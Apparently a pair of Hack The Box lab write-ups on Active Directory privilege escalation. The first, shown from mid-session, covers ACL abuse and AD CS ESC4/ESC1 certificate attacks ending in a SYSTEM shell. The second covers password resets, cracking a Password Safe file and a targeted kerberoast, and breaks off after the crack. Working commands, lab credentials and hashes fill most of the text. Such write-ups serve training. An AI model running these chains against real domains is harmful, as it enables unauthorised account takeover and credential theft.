Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami
sequel\ryan
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\ryan\desktop> ls

    Directory: C:\Users\ryan\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/14/2025  11:27 AM             34 user.txt

Next, I collected BloodHound data using netexec:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ netexec ldap 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' --bloodhound --collection All --dns-server 10.10.11.51
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 
LDAP        10.10.11.51     389    DC01             Resolved collection methods: psremote, rdp, localadmin, acl, session, trusts, dcom, objectprops, group, container
LDAP        10.10.11.51     389    DC01             Done in 00M 10S
LDAP        10.10.11.51     389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.51_2025-03-14_213136_bloodhound.zip

After uploading the data into BloodHound, viewing First Degree Object Control for ryan showed that the user had WriteOwner over ca_svc:

ca_svc was a member of the Cert Publishers group:

Members of Cert Publishers generally have write permissions on certificate-related objects in Active Directory. Therefore, if any vulnerable certificate templates exist in AD CS, the permissions granted to Cert Publishers could potentially be leveraged to modify the template and escalate privileges.

So first, I used the WriteOwner permission over ca_svc to take control of the account. To do this, I uploaded PowerView.ps1:

*Evil-WinRM* PS C:\programdata> upload PowerView.ps1
                                        
Info: Uploading /home/kali/Desktop/HTB/EscapeTwo/PowerView.ps1 to C:\programdata\PowerView.ps1
                                        
Data: 1206372 bytes of 1206372 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> ls

    Directory: C:\programdata

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-         6/8/2024   3:37 PM                Microsoft
d-----         1/4/2025   7:08 AM                Package Cache
d-----         1/4/2025   8:24 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        11/5/2022  12:03 PM                ssh
d-----        9/15/2018  12:19 AM                USOPrivate
d-----        11/5/2022  12:03 PM                USOShared
d-----         6/8/2024   9:34 AM                VMware
-a----        3/14/2025  12:06 PM          59392 nc.exe
-a----        3/14/2025   1:03 PM         904779 PowerView.ps1

Next, I created a PSCredential object for ryan:

*Evil-WinRM* PS C:\programdata> $ryan_password = ConvertTo-SecureString 'WqSZAF6CysDQbGb3' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> $cred = New-Object System.Management.Automation.PSCredential('sequel.htb\ryan', $ryan_password)

I dot-sourced PowerView and then used Set-DomainObjectOwner to set ryan as the owner of the ca_svc user object:

*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainObjectOwner -Credential $cred -Identity ca_svc -OwnerIdentity ryan

Using Add-DomainObjectAcl, I granted ryan full control over the ca_svc user:

*Evil-WinRM* PS C:\programdata> Add-DomainObjectAcl -Credential $cred -TargetIdentity ca_svc -PrincipalIdentity ryan -Rights All

To change the password of ca_svc, I used Set-DomainUserPassword:

*Evil-WinRM* PS C:\programdata> $ca_svc_password = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Credential $cred -Identity ca_svc -AccountPassword $ca_svc_password

Then, I used the credentials with certipy-ad to find any vulnerable certificates:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ certipy-ad find -u ca_svc -p P@ssw0rd -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250314220830_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250314220830_Certipy.txt'
[*] Saved JSON output to '20250314220830_Certipy.json'

Viewing 20250314220830_Certipy.txt revealed that the DunderMifflinAuthentication template was vulnerable to ESC4 due to the Cert Publishers group having full control. This is shown in the Object Control Permissions section:

<...snip...>

  33
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireCommonName
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

With full control over the template, certipy-ad can be used to update the template properties to enable an escalation path. The following command modifies the template to introduce additional vulnerabilities:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ certipy-ad template -username ca_svc -password P@ssw0rd -template DunderMifflinAuthentication -dc-ip 10.10.11.51 -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Running the find command again and viewing the new configuration confirmed that the template had been updated and was now vulnerable to ESC1, ESC2, ESC3, and ESC4:

  33
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : None
    Private Key Flag                    : ExportableKey
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 5 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Authenticated Users
        Write Owner Principals          : SEQUEL.HTB\Authenticated Users
        Write Dacl Principals           : SEQUEL.HTB\Authenticated Users
        Write Property Principals       : SEQUEL.HTB\Authenticated Users
    [!] Vulnerabilities
      ESC1                              : 'SEQUEL.HTB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
      ESC2                              : 'SEQUEL.HTB\\Authenticated Users' can enroll and template can be used for any purpose
      ESC3                              : 'SEQUEL.HTB\\Authenticated Users' can enroll and template has Certificate Request Agent EKU set
      ESC4                              : 'SEQUEL.HTB\\Authenticated Users' has dangerous permissions

Since it was vulnerable to ESC1, I could request a certificate on behalf of the administrator by supplying a UPN:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ certipy-ad req -username ca_svc -password P@ssw0rd -target sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Initially running auth to retrieve the hash resulted in a clock skew error:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

I used ntpdate to sync my local VM clock with DC01:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ sudo ntpdate -u DC01.sequel.htb
2025-03-14 16:16:24.443909 (-0400) -21532.162791 +/- 0.018628 DC01.sequel.htb 10.10.11.51 s1 no-leap
CLOCK: time stepped by -21532.162791

Then, I was able to retrieve the hash:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Using impacket-psexec along with the administrator user's hash, I obtained a system shell:

┌──(kali㉿kali)-[~/Desktop/HTB/EscapeTwo]
└─$ impacket-psexec administrator@10.10.11.51 -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.11.51.....
[-] share 'Accounting Department' is not writable.
[*] Found writable share ADMIN$
[*] Uploading file LYwGcKPN.exe
[*] Opening SVCManager on 10.10.11.51.....
[*] Creating service cTaQ on 10.10.11.51.....
[*] Starting service cTaQ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.6640]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd \users\administrator\desktop
 
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\Users\Administrator\Desktop

01/04/2025  08:58 AM    <DIR>          .
01/04/2025  08:58 AM    <DIR>          ..
03/14/2025  11:27 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,805,245,440 bytes free

Hack The Box - Administrator

Sat, 04 Jan 2025 00:00:00 GMT

Administrator is a Windows machine running Active Directory. The box starts with a given set of credentials, which can be used to gather domain data for BloodHound. This reveals that olivia, the initial user, has GenericAll privileges over michael, allowing olivia to reset the password of the account. michael can then use ForceChangePassword rights to change the password for another user, benjamin, a member of the Share Moderators group. Members of this group have access to an FTP server containing a Password Safe database. Cracking the safe combination reveals the passwords for three domain users. Among them, emily has GenericWrite access over ethan. This can be leveraged to run a targeted kerberoast on ethan, resulting in obtaining the user's password. ethan has DCSync rights (i.e., DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) on the domain, which leads to a shell as administrator.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.42                     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 08:44 EST
Nmap scan report for 10.10.11.42
Host is up (0.049s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-02 20:45:43Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-01-02T20:45:50
|_  start_date: N/A
|_clock-skew: 7h01m23s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.57 seconds

I added administrator.htb and dc.administrator.htb to /etc/hosts. Then, using the given set of credentials, I attempted to log in to the FTP server as Olivia:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:kali): Olivia
331 Password required
Password: 
530 User cannot log in, home directory inaccessible.
ftp: Login failed

The creds weren't valid on the FTP server, but they worked over SMB:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ netexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich'
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\olivia:ichliebedich

The available shares were all default:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ netexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich' --shares
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\olivia:ichliebedich
SMB         10.10.11.42     445    DC               [*] Enumerated shares
SMB         10.10.11.42     445    DC               Share           Permissions     Remark
SMB         10.10.11.42     445    DC               -----           -----------     ------
SMB         10.10.11.42     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.42     445    DC               C$                              Default share
SMB         10.10.11.42     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.42     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.42     445    DC               SYSVOL          READ            Logon server share

I downloaded the shares, but they didn't contain anything interesting. So next, I used the olivia user's credentials with bloodhound-python to collect domain data:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ bloodhound-python -u 'olivia' -p 'ichliebedich' -d administrator.htb -c all -ns 10.10.11.42 --dns-tcp
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 09S

After uploading the data into BloodHound, I viewed First Degree Group Memberships for olivia:

Viewing First Degree Object Control for olivia showed GenericAll privileges over the michael user:

GenericAll gives the trustee full control over the target object which can be leveraged for a targeted kerberoast attack or to change the user's password.

Searching for michael and viewing First Degree Object Control showed that the user had ForceChangePassword rights over the benjamin user:

First Degree Group Memberships for benjamin:

The Share Moderators group didn’t seem to have any interesting privileges in BloodHound, however, this group would likely have more access to either SMB or FTP.

Next, I used evil-winrm to log in as olivia:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ evil-winrm -i 10.10.11.42 -u 'olivia' -p 'ichliebedich'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\olivia\Documents> whoami
administrator\olivia

I uploaded PowerView:

*Evil-WinRM* PS C:\programdata> upload PowerView.ps1

Info: Uploading /home/kali/Desktop/HTB/Administrator/PowerView.ps1 to C:\programdata\PowerView.ps1

Data: 1206372 bytes of 1206372 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\programdata> ls

    Directory: C:\programdata

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         10/4/2024  10:07 AM                Microsoft
d-----        10/30/2024   4:42 PM                MySQL
d-----        10/22/2024  11:50 AM                Package Cache
d-----         10/5/2024  10:17 AM                regid.1991-06.com.microsoft
d-----          5/8/2021   1:20 AM                SoftwareDistribution
d-----          5/8/2021   2:36 AM                ssh
d-----         10/4/2024  10:21 AM                USOPrivate
d-----          5/8/2021   1:20 AM                USOShared
d-----        10/22/2024  11:51 AM                VMware
-a----          1/2/2025   1:38 PM         904779 PowerView.ps1

I attempted a targeted kerberoast on michael, but the password didn't easily crack. So instead, I changed the password of the user. To do so, first I created a PSCredential object for olivia:

*Evil-WinRM* PS C:\programdata> $password = ConvertTo-SecureString 'ichliebedich' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> $cred = New-Object System.Management.Automation.PSCredential('administrator\olivia', $password)

Then, I created a secure string object for the new password:

*Evil-WinRM* PS C:\programdata> $UserPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force

After that, I set the new password using Set-DomainUserPassword from PowerView:

*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $cred

Using the newly set password, I was able to log in as michael over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ evil-winrm -i 10.10.11.42 -u 'michael' -p 'P@ssw0rd'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\michael\Documents> whoami
administrator\michael

With this access, the same process can be followed to change the password for the benjamin user:

*Evil-WinRM* PS C:\programdata> $password = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> $cred = New-Object System.Management.Automation.PSCredential('administrator\michael', $password)
*Evil-WinRM* PS C:\programdata> $UserPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPassword -Credential $cred

The benjamin user had access to the FTP server which contained a Password Safe database:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:kali): benjamin
331 Password required
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||60232|)
125 Data connection already open; Transfer starting.
10-05-24  08:13AM                  952 Backup.psafe3
226 Transfer complete.

I downloaded Backup.psafe3:

ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||60233|)
125 Data connection already open; Transfer starting.
100% |********************************************|   952       15.38 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (15.16 KiB/s)

I used hashcat to crack the safe combination:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

<...snip...>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Backup.psafe3:tekieromucho                                
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5200 (Password Safe v3)
Hash.Target......: Backup.psafe3

<...snip...>

I opened Backup.psafe3 in Password Safe:

There were passwords for three users in the safe:

I checked each of the users in BloodHound and the only user in Remote Management Users was emily:

evil-winrm shell as emily:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ evil-winrm -i 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents> whoami
administrator\emily
*Evil-WinRM* PS C:\Users\emily\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\emily\desktop> ls


    Directory: C:\Users\emily\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/30/2024   2:23 PM           2308 Microsoft Edge.lnk
-ar---          1/2/2025   9:04 AM             34 user.txt

Further enumeration in BloodHound revealed that emily had GenericWrite over ethan:

ethan had DCSync on the domain:

So I used the GenericWrite privilege to run a targeted kerberoast on ethan. In the WinRM shell as emily, I first created a PSCredential object for emily:

*Evil-WinRM* PS C:\programdata> $password = ConvertTo-SecureString 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> $cred = New-Object System.Management.Automation.PSCredential('administrator\emily', $password)

Then using PowerView, I set an SPN for ethan:

*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainObject -Credential $cred -Identity ethan -SET @{serviceprincipalname='new/TEST'}

Attempting to request the TGS resulted in a clock skew error:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ impacket-GetUserSPNs -dc-ip 10.10.11.42 administrator.htb/emily -request-user ethan
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
ServicePrincipalName  Name   MemberOf  PasswordLastSet             LastLogon  Delegation 
--------------------  -----  --------  --------------------------  ---------  ----------
new/TEST              ethan            2024-10-12 16:52:14.117811  <never>               

[-] CCache file is not found. Skipping...
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

I used ntpdate to sync the clock on my local machine with the DC:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ sudo ntpdate -u dc.administrator.htb
2025-01-02 18:30:41.921008 (-0500) +383.456846 +/- 0.062728 dc.administrator.htb 10.10.11.42 s1 no-leap
CLOCK: time stepped by 383.456846

I was then able to retrieve the TGS for ethan:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ impacket-GetUserSPNs -dc-ip 10.10.11.42 administrator.htb/emily -request-user ethan 
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
ServicePrincipalName  Name   MemberOf  PasswordLastSet             LastLogon  Delegation 
--------------------  -----  --------  --------------------------  ---------  ----------
new/TEST              ethan            2024-10-12 16:52:14.117811  <never>               

[-] CCache file is not found. Skipping...
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$9f83d419ead644eaf77e344cdfc3a3fb$39e5bdd9d85a3a3870ee7f6ff9faa916480b2615f69c36812cb2342d211db199bdc9ee45665c7a075af20eee935826a03e4a38e609007dbc4b0d7244512f79a73708160eb65a4ea67e823cff2875a6c36cb59b64daf687dcb5ab522520e8d2144ded21723b08897239135a3bf1713144d3867a1a828e35d0025e09f84acd5516f43b48578c98d7e7c2a39bd40b02d4106c0c356fac178d71bd833d3e6514451762b764976887f7371f9b5e63a9cf42ab2aa16975f9ad361559df6a03b9c2da86795455fd83680b977e411c1292669566f0beb6b13b5d9414c96ad4806183724698d9f784134545d5a179f10646188e9474bc6331a4b1209b3312ab95c54209f183026ebc0358cd032826f973e015844a34c4f40847d9fd2d126d3be99cfe1b24bc75e9e262087a4aa5752ad274d90406cb649721e9c2c4a2a40f0fef2548329fef12c867b984621f7f9b401b77036fb4b6bcb39fc215472c62e1a0c8433ac111f407af12ee951366ed11a247e2d4ff85eb4c235909a39d1719e4a7c4ef5f081c74cace8418432fb6825f5d94eceaff8259e79105dc6913bebfb117e11b09e3ecedbe557da245e494478c16efb4c1f62cf1aa57b91f8cfa6e6e2dc96fa08dd9b7dd1dc7cc26f5c6097f9ffc0438047d67576607e9d49613ddc943773bebfaf3945f7e9a082239a2558994b223dc99e73ed35a066a8c63113d99b38f7efc4d991a33d71f3ef2a2485853e59e4284580cf0a52d93e4a36ef209fdc9aea95416dbf2f604a2b771a86b73a8d6ea226c509583d4c0d043c32f76e7abfe19846be9ed24a2bf6bf084e7732564030f4d1560a87d3c3e14b0f9843d3fc6c2f00209e9289460d735efb06d192d28c2df2da38cf9797d358a7ac39a314f84df1e1a67f4aa4416ebbb99bd79f23fd97d5e31bac902d3a2ce880aa6341cb5999fadbecbca7594b39c2c76f6602fb65670e60d44e7085436dfd15c2cfdb2fa9ace3c317c20c2980a9b5422c549519207ca2c64f05629f0962b8f4d1c24b7078ccc13f75590884b96689fca1b12bae6e145d9504c008c697562f0b86915425ca16a25dbc394df67f601285249bd521dd04a1f8b8aa32cc0748c6259e271b70914aa0e5a458a08b4cbe1569e31a04a1fce0a9e058b77b58866f7914cd78200ec0b45d5c699ed5ea8df52759a750b7b238e7898e079f0d43c8073f55e64d3294f57de648fb44a8d42b8d4280fc09edb2fa3cde129b8181e56c6b549257a90232b111fd11bf4bd34a07e0ec5e54b128e7c69a097b100248000d0ca2cb7bfd6d72b03a9e3ee1fc786afb238a7e1db38280232b1cbd1197b38fa144daa7370b03f97b9268409899fc1ca21bf72d34a2c21551522bb494fbfeadf2d72666a0d5690cf1d3027339c71d484d0cd821f983a6adedd8b87568a5195bf74ea93c9ee55b5605ceabee0db8ee38d7e39774c2e2dd8ce6224c2abc63284e2bfc33d65d668934098062b175c6703f2befc1eba7ccaab2e1e1b02c7bd4aa8b01e8d41852e4165b5168ff697228e32

hashcat cracked the password:

┌──(kali㉿kali)-[~/Desktop/HTB/Administrator]
└─$ hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt        
hashcat (v6.2.6) starting

<...snip...>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$9f83d419ead644eaf77e344cdfc3a3fb$39e5bdd9d85a3a3870ee7f6ff9faa916480b2615f69c36812cb2342d211db199bdc9ee45665c7a075af20eee935826a03e4a38e609007dbc4b0d7244512f79a73708160eb65a4ea67e823cff2875a6c36cb59b64daf687dcb5ab522520e8d2144ded21723b08897239135a3bf1713144d3867a1a828e35d0025e09f84acd5516f43b48578c98d7e7c2a39bd40b02d4106c0c356fac178d71bd833d3e6514451762b764976887f7371f9b5e63a9cf42ab2aa16975f9ad361559df6a03b9c2da86795455fd83680b977e411c1292669566f0beb6b13b5d9414c96ad4806183724698d9f784134545d5a179f10646188e9474bc6331a4b1209b3312ab95c54209f183026ebc0358cd032826f973e015844a34c4f40847d9fd2d126d3be99cfe1b24bc75e9e262087a4aa5752ad274d90406cb649721e9c2c4a2a40f0fef2548329fef12c867b984621f7f9b401b77036fb4b6bcb39fc215472c62e1a0c8433ac111f407af12ee951366ed11a247e2d4ff85eb4c235909a39d1719e4a7c4ef5f081c74cace8418432fb6825f5d94eceaff8259e79105dc6913bebfb117e11b09e3ecedbe557da245e494478c16efb4c1f62cf1aa57b91f8cfa6e6e2dc96fa08dd9b7dd1dc7cc26f5c6097f9ffc0438047d67576607e9d49613ddc943773bebfaf3945f7e9a082239a2558994b223dc99e73ed35a066a8c63113d99b38f7efc4d991a33d71f3ef2a2485853e59e4284580cf0a52d93e4a36ef209fdc9aea95416dbf2f604a2b771a86b73a8d6ea226c509583d4c0d043c32f76e7abfe19846be9ed24a2bf6bf084e7732564030f4d1560a87d3c3e14b0f9843d3fc6c2f00209e9289460d735efb06d192d28c2df2da38cf9797d358a7ac39a314f84df1e1a67f4aa4416ebbb99bd79f23fd97d5e31bac902d3a2ce880aa6341cb5999fadbecbca7594b39c2c76f6602fb65670e60d44e7085436dfd15c2cfdb2fa9ace3c317c20c2980a9b5422c549519207ca2c64f05629f0962b8f4d1c24b7078ccc13f75590884b96689fca1b12bae6e145d9504c008c697562f0b86915425ca16a25dbc394df67f601285249bd521dd04a1f8b8aa32cc0748c6259e271b70914aa0e5a458a08b4cbe1569e31a04a1fce0a9e058b77b58866f7914cd78200ec0b45d5c699ed5ea8df52759a750b7b238e7898e079f0d43c8073f55e64d3294f57de648fb44a8d42b8d4280fc09edb2fa3cde129b8181e56c6b549257a90232b111fd11bf4bd34a07e0ec5e54b128e7c69a097b100248000d0ca2cb7bfd6d72b03a9e3ee1fc786afb238a7e1db38280232b1cbd1197b38fa144daa7370b03f97b9268409899fc1ca21bf72d34a2c21551522bb494fbfeadf2d72666a0d5690cf1d3027339c71d484d0cd821f983a6adedd8b87568a5195bf74ea93c9ee55b5605ceabee0db8ee38d7e39774c2e2dd8ce6224c2abc63284e2bfc33d65d668934098062b175c6703f2befc1eba7ccaab2e1e1b02c7bd4aa8b01e8d41852e4165b5168ff697228e32:limpbizkit
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)

<...snip...>

